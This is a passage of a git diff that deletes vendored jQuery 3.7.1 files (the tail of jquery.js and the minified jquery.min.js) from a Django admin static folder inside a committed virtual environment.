jQuery.style( elem, type, value, extra ); - }, type, chainable ? margin : undefined, chainable ); - }; - } ); -} ); - - -jQuery.each( [ - "ajaxStart", - "ajaxStop", - "ajaxComplete", - "ajaxError", - "ajaxSuccess", - "ajaxSend" -], function( _i, type ) { - jQuery.fn[ type ] = function( fn ) { - return this.on( type, fn ); - }; -} ); - - - - -jQuery.fn.extend( { - - bind: function( types, data, fn ) { - return this.on( types, null, data, fn ); - }, - unbind: function( types, fn ) { - return this.off( types, null, fn ); - }, - - delegate: function( selector, types, data, fn ) { - return this.on( types, selector, data, fn ); - }, - undelegate: function( selector, types, fn ) { - - // ( namespace ) or ( selector, types [, fn] ) - return arguments.length === 1 ? - this.off( selector, "**" ) : - this.off( types, selector || "**", fn ); - }, - - hover: function( fnOver, fnOut ) { - return this - .on( "mouseenter", fnOver ) - .on( "mouseleave", fnOut || fnOver ); - } -} ); - -jQuery.each( - ( "blur focus focusin focusout resize scroll click dblclick " + - "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + - "change select submit keydown keypress keyup contextmenu" ).split( " " ), - function( _i, name ) { - - // Handle event binding - jQuery.fn[ name ] = function( data, fn ) { - return arguments.length > 0 ? - this.on( name, null, data, fn ) : - this.trigger( name ); - }; - } -); - - - - -// Support: Android <=4.0 only -// Make sure we trim BOM and NBSP -// Require that the "whitespace run" starts from a non-whitespace -// to avoid O(N^2) behavior when the engine would try matching "\s+$" at each space position. -var rtrim = /^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g; - -// Bind a function to a context, optionally partially applying any -// arguments. -// jQuery.proxy is deprecated to promote standards (specifically Function#bind) -// However, it is not slated for removal any time soon -jQuery.proxy = function( fn, context ) { - var tmp, args, proxy; - - if ( typeof context === "string" ) { - tmp = fn[ context ]; - context = fn; - fn = tmp; - } - - // Quick check to determine if target is callable, in the spec - // this throws a TypeError, but we will just return undefined. - if ( !isFunction( fn ) ) { - return undefined; - } - - // Simulated bind - args = slice.call( arguments, 2 ); - proxy = function() { - return fn.apply( context || this, args.concat( slice.call( arguments ) ) ); - }; - - // Set the guid of unique handler to the same of original handler, so it can be removed - proxy.guid = fn.guid = fn.guid || jQuery.guid++; - - return proxy; -}; - -jQuery.holdReady = function( hold ) { - if ( hold ) { - jQuery.readyWait++; - } else { - jQuery.ready( true ); - } -}; -jQuery.isArray = Array.isArray; -jQuery.parseJSON = JSON.parse; -jQuery.nodeName = nodeName; -jQuery.isFunction = isFunction; -jQuery.isWindow = isWindow; -jQuery.camelCase = camelCase; -jQuery.type = toType; - -jQuery.now = Date.now; - -jQuery.isNumeric = function( obj ) { - - // As of jQuery 3.0, isNumeric is limited to - // strings and numbers (primitives or objects) - // that can be coerced to finite numbers (gh-2662) - var type = jQuery.type( obj ); - return ( type === "number" || type === "string" ) && - - // parseFloat NaNs numeric-cast false positives ("") - // ...but misinterprets leading-number strings, particularly hex literals ("0x...") - // subtraction forces infinities to NaN - !isNaN( obj - parseFloat( obj ) ); -}; - -jQuery.trim = function( text ) { - return text == null ? - "" : - ( text + "" ).replace( rtrim, "$1" ); -}; - - - -// Register as a named AMD module, since jQuery can be concatenated with other -// files that may use define, but not via a proper concatenation script that -// understands anonymous AMD modules. A named AMD is safest and most robust -// way to register. Lowercase jquery is used because AMD module names are -// derived from file names, and jQuery is normally delivered in a lowercase -// file name. Do this after creating the global so that if an AMD module wants -// to call noConflict to hide this version of jQuery, it will work. - -// Note that for maximum portability, libraries that are not jQuery should -// declare themselves as anonymous modules, and avoid setting a global if an -// AMD loader is present. jQuery is a special case. For more information, see -// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon - -if ( typeof define === "function" && define.amd ) { - define( "jquery", [], function() { - return jQuery; - } ); -} - - - - -var - - // Map over jQuery in case of overwrite - _jQuery = window.jQuery, - - // Map over the $ in case of overwrite - _$ = window.$; - -jQuery.noConflict = function( deep ) { - if ( window.$ === jQuery ) { - window.$ = _$; - } - - if ( deep && window.jQuery === jQuery ) { - window.jQuery = _jQuery; - } - - return jQuery; -}; - -// Expose jQuery and $ identifiers, even in AMD -// (trac-7102#comment:10, https://github.com/jquery/jquery/pull/557) -// and CommonJS for browser emulators (trac-13566) -if ( typeof noGlobal === "undefined" ) { - window.jQuery = window.$ = jQuery; -} - - - - -return jQuery; -} ); diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/jquery/jquery.min.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/jquery/jquery.min.js deleted file mode 100644 index 7f37b5d9..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/jquery/jquery.min.js +++ /dev/null @@ -1,2 +0,0 @@ -/*! jQuery v3.7.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */ -!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n||C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[i.call(e)]||"object":typeof e}var t="3.7.1",l=/HTML$/i,ce=function(e,t){return new ce.fn.init(e,t)};function c(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!v(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}function fe(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}ce.fn=ce.prototype={jquery:t,constructor:ce,length:0,toArray:function(){return ae.call(this)},get:function(e){return null==e?ae.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=ce.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return ce.each(this,e)},map:function(n){return this.pushStack(ce.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(ae.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(ce.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(ce.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:oe.sort,splice:oe.splice},ce.extend=ce.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||v(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(ce.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||ce.isPlainObject(n)?n:{},i=!1,a[t]=ce.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},ce.extend({expando:"jQuery"+(t+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==i.call(e))&&(!(t=r(e))||"function"==typeof(n=ue.call(t,"constructor")&&t.constructor)&&o.call(n)===a)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){m(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(c(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},text:function(e){var t,n="",r=0,i=e.nodeType;if(!i)while(t=e[r++])n+=ce.text(t);return 1===i||11===i?e.textContent:9===i?e.documentElement.textContent:3===i||4===i?e.nodeValue:n},makeArray:function(e,t){var n=t||[];return null!=e&&(c(Object(e))?ce.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!l.test(t||n&&n.nodeName||"HTML")},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(c(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:le}),"function"==typeof Symbol&&(ce.fn[Symbol.iterator]=oe[Symbol.iterator]),ce.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var pe=oe.pop,de=oe.sort,he=oe.splice,ge="[\\x20\\t\\r\\n\\f]",ve=new RegExp("^"+ge+"+|((?:^|[^\\\\])(?:\\\\.)*)"+ge+"+$","g");ce.contains=function(e,t){var n=t&&t.parentNode;return e===n||!(!n||1!==n.nodeType||!(e.contains?e.contains(n):e.compareDocumentPosition&&16&e.compareDocumentPosition(n)))};var f=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;function p(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e}ce.escapeSelector=function(e){return(e+"").replace(f,p)};var ye=C,me=s;!function(){var e,b,w,o,a,T,r,C,d,i,k=me,S=ce.expando,E=0,n=0,s=W(),c=W(),u=W(),h=W(),l=function(e,t){return e===t&&(a=!0),0},f="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",t="(?:\\\\[\\da-fA-F]{1,6}"+ge+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",p="\\["+ge+"*("+t+")(?:"+ge+"*([*^$|!~]?=)"+ge+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+t+"))|)"+ge+"*\\]",g=":("+t+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+p+")*)|.*)\\)|)",v=new RegExp(ge+"+","g"),y=new RegExp("^"+ge+"*,"+ge+"*"),m=new RegExp("^"+ge+"*([>+~]|"+ge+")"+ge+"*"),x=new RegExp(ge+"|>"),j=new RegExp(g),A=new RegExp("^"+t+"$"),D={ID:new RegExp("^#("+t+")"),CLASS:new RegExp("^\\.("+t+")"),TAG:new RegExp("^("+t+"|[*])"),ATTR:new RegExp("^"+p),PSEUDO:new RegExp("^"+g),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+ge+"*(even|odd|(([+-]|)(\\d*)n|)"+ge+"*(?:([+-]|)"+ge+"*(\\d+)|))"+ge+"*\\)|)","i"),bool:new RegExp("^(?:"+f+")$","i"),needsContext:new RegExp("^"+ge+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+ge+"*((?:-\\d)?\\d*)"+ge+"*\\)|)(?=[^-]|$)","i")},N=/^(?:input|select|textarea|button)$/i,q=/^h\d$/i,L=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,H=/[+~]/,O=new RegExp("\\\\[\\da-fA-F]{1,6}"+ge+"?|\\\\([^\\r\\n\\f])","g"),P=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},M=function(){V()},R=J(function(e){return!0===e.disabled&&fe(e,"fieldset")},{dir:"parentNode",next:"legend"});try{k.apply(oe=ae.call(ye.childNodes),ye.childNodes),oe[ye.childNodes.length].nodeType}catch(e){k={apply:function(e,t){me.apply(e,ae.call(t))},call:function(e){me.apply(e,ae.call(arguments,1))}}}function I(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(V(e),e=e||T,C)){if(11!==p&&(u=L.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return k.call(n,a),n}else if(f&&(a=f.getElementById(i))&&I.contains(e,a)&&a.id===i)return k.call(n,a),n}else{if(u[2])return k.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&e.getElementsByClassName)return k.apply(n,e.getElementsByClassName(i)),n}if(!(h[t+" "]||d&&d.test(t))){if(c=t,f=e,1===p&&(x.test(t)||m.test(t))){(f=H.test(t)&&U(e.parentNode)||e)==e&&le.scope||((s=e.getAttribute("id"))?s=ce.escapeSelector(s):e.setAttribute("id",s=S)),o=(l=Y(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+Q(l[o]);c=l.join(",")}try{return k.apply(n,f.querySelectorAll(c)),n}catch(e){h(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return re(t.replace(ve,"$1"),e,n,r)}function W(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function F(e){return e[S]=!0,e}function $(e){var t=T.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function B(t){return function(e){return fe(e,"input")&&e.type===t}}function _(t){return function(e){return(fe(e,"input")||fe(e,"button"))&&e.type===t}}function z(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&R(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function X(a){return F(function(o){return o=+o,F(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function U(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}function V(e){var t,n=e?e.ownerDocument||e:ye;return n!=T&&9===n.nodeType&&n.documentElement&&(r=(T=n).documentElement,C=!ce.isXMLDoc(T),i=r.matches||r.webkitMatchesSelector||r.msMatchesSelector,r.msMatchesSelector&&ye!=T&&(t=T.defaultView)&&t.top!==t&&t.addEventListener("unload",M),le.getById=$(function(e){return r.appendChild(e).id=ce.expando,!T.getElementsByName||!T.getElementsByName(ce.expando).length}),le.disconnectedMatch=$(function(e){return i.call(e,"*")}),le.scope=$(function(){return T.querySelectorAll(":scope")}),le.cssHas=$(function(){try{return T.querySelector(":has(*,:jqfake)"),!1}catch(e){return!0}}),le.getById?(b.filter.ID=function(e){var t=e.replace(O,P);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&C){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(O,P);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&C){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):t.querySelectorAll(e)},b.find.CLASS=function(e,t){if("undefined"!=typeof t.getElementsByClassName&&C)return t.getElementsByClassName(e)},d=[],$(function(e){var t;r.appendChild(e).innerHTML="<a id='"+S+"' href='' disabled='disabled'></a><select id='"+S+"-\r\\' disabled='disabled'><option selected=''></option></select>",e.querySelectorAll("[selected]").length||d.push("\\["+ge+"*(?:value|"+f+")"),e.querySelectorAll("[id~="+S+"-]").length||d.push("~="),e.querySelectorAll("a#"+S+"+*").length||d.push(".#.+[+~]"),e.querySelectorAll(":checked").length||d.push(":checked"),(t=T.createElement("input")).setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),r.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&d.push(":enabled",":disabled"),(t=T.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||d.push("\\["+ge+"*name"+ge+"*="+ge+"*(?:''|\"\")")}),le.cssHas||d.push(":has"),d=d.length&&new RegExp(d.join("|")),l=function(e,t){if(e===t)return a=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!le.sortDetached&&t.compareDocumentPosition(e)===n?e===T||e.ownerDocument==ye&&I.contains(ye,e)?-1:t===T||t.ownerDocument==ye&&I.contains(ye,t)?1:o?se.call(o,e)-se.call(o,t):0:4&n?-1:1)}),T}for(e in I.matches=function(e,t){return I(e,null,null,t)},I.matchesSelector=function(e,t){if(V(e),C&&!h[t+" "]&&(!d||!d.test(t)))try{var n=i.call(e,t);if(n||le.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){h(t,!0)}return 0<I(t,T,null,[e]).length},I.contains=function(e,t){return(e.ownerDocument||e)!=T&&V(e),ce.contains(e,t)},I.attr=function(e,t){(e.ownerDocument||e)!=T&&V(e);var n=b.attrHandle[t.toLowerCase()],r=n&&ue.call(b.attrHandle,t.toLowerCase())?n(e,t,!C):void 0;return void 0!==r?r:e.getAttribute(t)},I.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},ce.uniqueSort=function(e){var t,n=[],r=0,i=0;if(a=!le.sortStable,o=!le.sortStable&&ae.call(e,0),de.call(e,l),a){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)he.call(e,n[r],1)}return o=null,e},ce.fn.uniqueSort=function(){return this.pushStack(ce.uniqueSort(ae.apply(this)))},(b=ce.expr={cacheLength:50,createPseudo:F,match:D,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(O,P),e[3]=(e[3]||e[4]||e[5]||"").replace(O,P),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||I.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&I.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return D.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&j.test(n)&&(t=Y(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(O,P).toLowerCase();return"*"===e?function(){return!0}:function(e){return fe(e,t)}},CLASS:function(e){var t=s[e+" "];return t||(t=new RegExp("(^|"+ge+")"+e+"("+ge+"|$)"))&&s(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=I.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(v," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(d,e,t,h,g){var v="nth"!==d.slice(0,3),y="last"!==d.slice(-4),m="of-type"===e;return 1===h&&0===g?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u=v!==y?"nextSibling":"previousSibling",l=e.parentNode,c=m&&e.nodeName.toLowerCase(),f=!n&&!m,p=!1;if(l){if(v){while(u){o=e;while(o=o[u])if(m?fe(o,c):1===o.nodeType)return!1;s=u="only"===d&&!s&&"nextSibling"}return!0}if(s=[y?l.firstChild:l.lastChild],y&&f){p=(a=(r=(i=l[S]||(l[S]={}))[d]||[])[0]===E&&r[1])&&r[2],o=a&&l.childNodes[a];while(o=++a&&o&&o[u]||(p=a=0)||s.pop())if(1===o.nodeType&&++p&&o===e){i[d]=[E,a,p];break}}else if(f&&(p=a=(r=(i=e[S]||(e[S]={}))[d]||[])[0]===E&&r[1]),!1===p)while(o=++a&&o&&o[u]||(p=a=0)||s.pop())if((m?fe(o,c):1===o.nodeType)&&++p&&(f&&((i=o[S]||(o[S]={}))[d]=[E,p]),o===e))break;return(p-=g)===h||p%h==0&&0<=p/h}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||I.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?F(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=se.call(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:F(function(e){var r=[],i=[],s=ne(e.replace(ve,"$1"));return s[S]?F(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:F(function(t){return function(e){return 0<I(t,e).length}}),contains:F(function(t){return t=t.replace(O,P),function(e){return-1<(e.textContent||ce.text(e)).indexOf(t)}}),lang:F(function(n){return A.test(n||"")||I.error("unsupported lang: "+n),n=n.replace(O,P).toLowerCase(),function(e){var t;do{if(t=C?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=ie.location&&ie.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===r},focus:function(e){return e===function(){try{return T.activeElement}catch(e){}}()&&T.hasFocus()&&!!(e.type||e.href||~e.tabIndex)},enabled:z(!1),disabled:z(!0),checked:function(e){return fe(e,"input")&&!!e.checked||fe(e,"option")&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return q.test(e.nodeName)},input:function(e){return N.test(e.nodeName)},button:function(e){return fe(e,"input")&&"button"===e.type||fe(e,"button")},text:function(e){var t;return fe(e,"input")&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:X(function(){return[0]}),last:X(function(e,t){return[t-1]}),eq:X(function(e,t,n){return[n<0?n+t:n]}),even:X(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:X(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:X(function(e,t,n){var r;for(r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:X(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=B(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=_(e);function G(){}function Y(e,t){var n,r,i,o,a,s,u,l=c[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=y.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=m.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace(ve," ")}),a=a.slice(n.length)),b.filter)!(r=D[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?I.error(e):c(e,s).slice(0)}function Q(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function J(a,e,t){var s=e.dir,u=e.next,l=u||s,c=t&&"parentNode"===l,f=n++;return e.first?function(e,t,n){while(e=e[s])if(1===e.nodeType||c)return a(e,t,n);return!1}:function(e,t,n){var r,i,o=[E,f];if(n){while(e=e[s])if((1===e.nodeType||c)&&a(e,t,n))return!0}else while(e=e[s])if(1===e.nodeType||c)if(i=e[S]||(e[S]={}),u&&fe(e,u))e=e[s]||e;else{if((r=i[l])&&r[0]===E&&r[1]===f)return o[2]=r[2];if((i[l]=o)[2]=a(e,t,n))return!0}return!1}}function K(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Z(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function ee(d,h,g,v,y,e){return v&&!v[S]&&(v=ee(v)),y&&!y[S]&&(y=ee(y,e)),F(function(e,t,n,r){var i,o,a,s,u=[],l=[],c=t.length,f=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)I(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),p=!d||!e&&h?f:Z(f,u,d,n,r);if(g?g(p,s=y||(e?d:c||v)?[]:t,n,r):s=p,v){i=Z(s,l),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(s[l[o]]=!(p[l[o]]=a))}if(e){if(y||d){if(y){i=[],o=s.length;while(o--)(a=s[o])&&i.push(p[o]=a);y(null,s=[],i,r)}o=s.length;while(o--)(a=s[o])&&-1<(i=y?se.call(e,a):u[o])&&(e[i]=!(t[i]=a))}}else s=Z(s===t?s.splice(c,s.length):s),y?y(null,t,s,r):k.apply(t,s)})}function te(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=J(function(e){return e===i},a,!0),l=J(function(e){return-1<se.call(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!=w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[J(K(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return ee(1<s&&K(c),1<s&&Q(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(ve,"$1"),t,s<n&&te(e.slice(s,n)),n<r&&te(e=e.slice(n)),n<r&&Q(e))}c.push(t)}return K(c)}function ne(e,t){var n,v,y,m,x,r,i=[],o=[],a=u[e+" "];if(!a){t||(t=Y(e)),n=t.length;while(n--)(a=te(t[n]))[S]?i.push(a):o.push(a);(a=u(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=E+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==T||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==T||(V(o),n=!C);while(s=v[a++])if(s(o,t||T,n)){k.call(r,o);break}i&&(E=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=pe.call(r));f=Z(f)}k.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&ce.uniqueSort(r)}return i&&(E=h,w=p),c},m?F(r):r))).selector=e}return a}function re(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&Y(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&C&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(O,P),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=D.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(O,P),H.test(o[0].type)&&U(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&Q(o)))return k.apply(n,r),n;break}}}return(l||ne(e,c))(r,t,!C,n,!t||H.test(e)&&U(t.parentNode)||t),n}G.prototype=b.filters=b.pseudos,b.setFilters=new G,le.sortStable=S.split("").sort(l).join("")===S,V(),le.sortDetached=$(function(e){return 1&e.compareDocumentPosition(T.createElement("fieldset"))}),ce.find=I,ce.expr[":"]=ce.expr.pseudos,ce.unique=ce.uniqueSort,I.compile=ne,I.select=re,I.setDocument=V,I.tokenize=Y,I.escape=ce.escapeSelector,I.getText=ce.text,I.isXML=ce.isXMLDoc,I.selectors=ce.expr,I.support=ce.support,I.uniqueSort=ce.uniqueSort}();var d=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&ce(e).is(n))break;r.push(e)}return r},h=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return 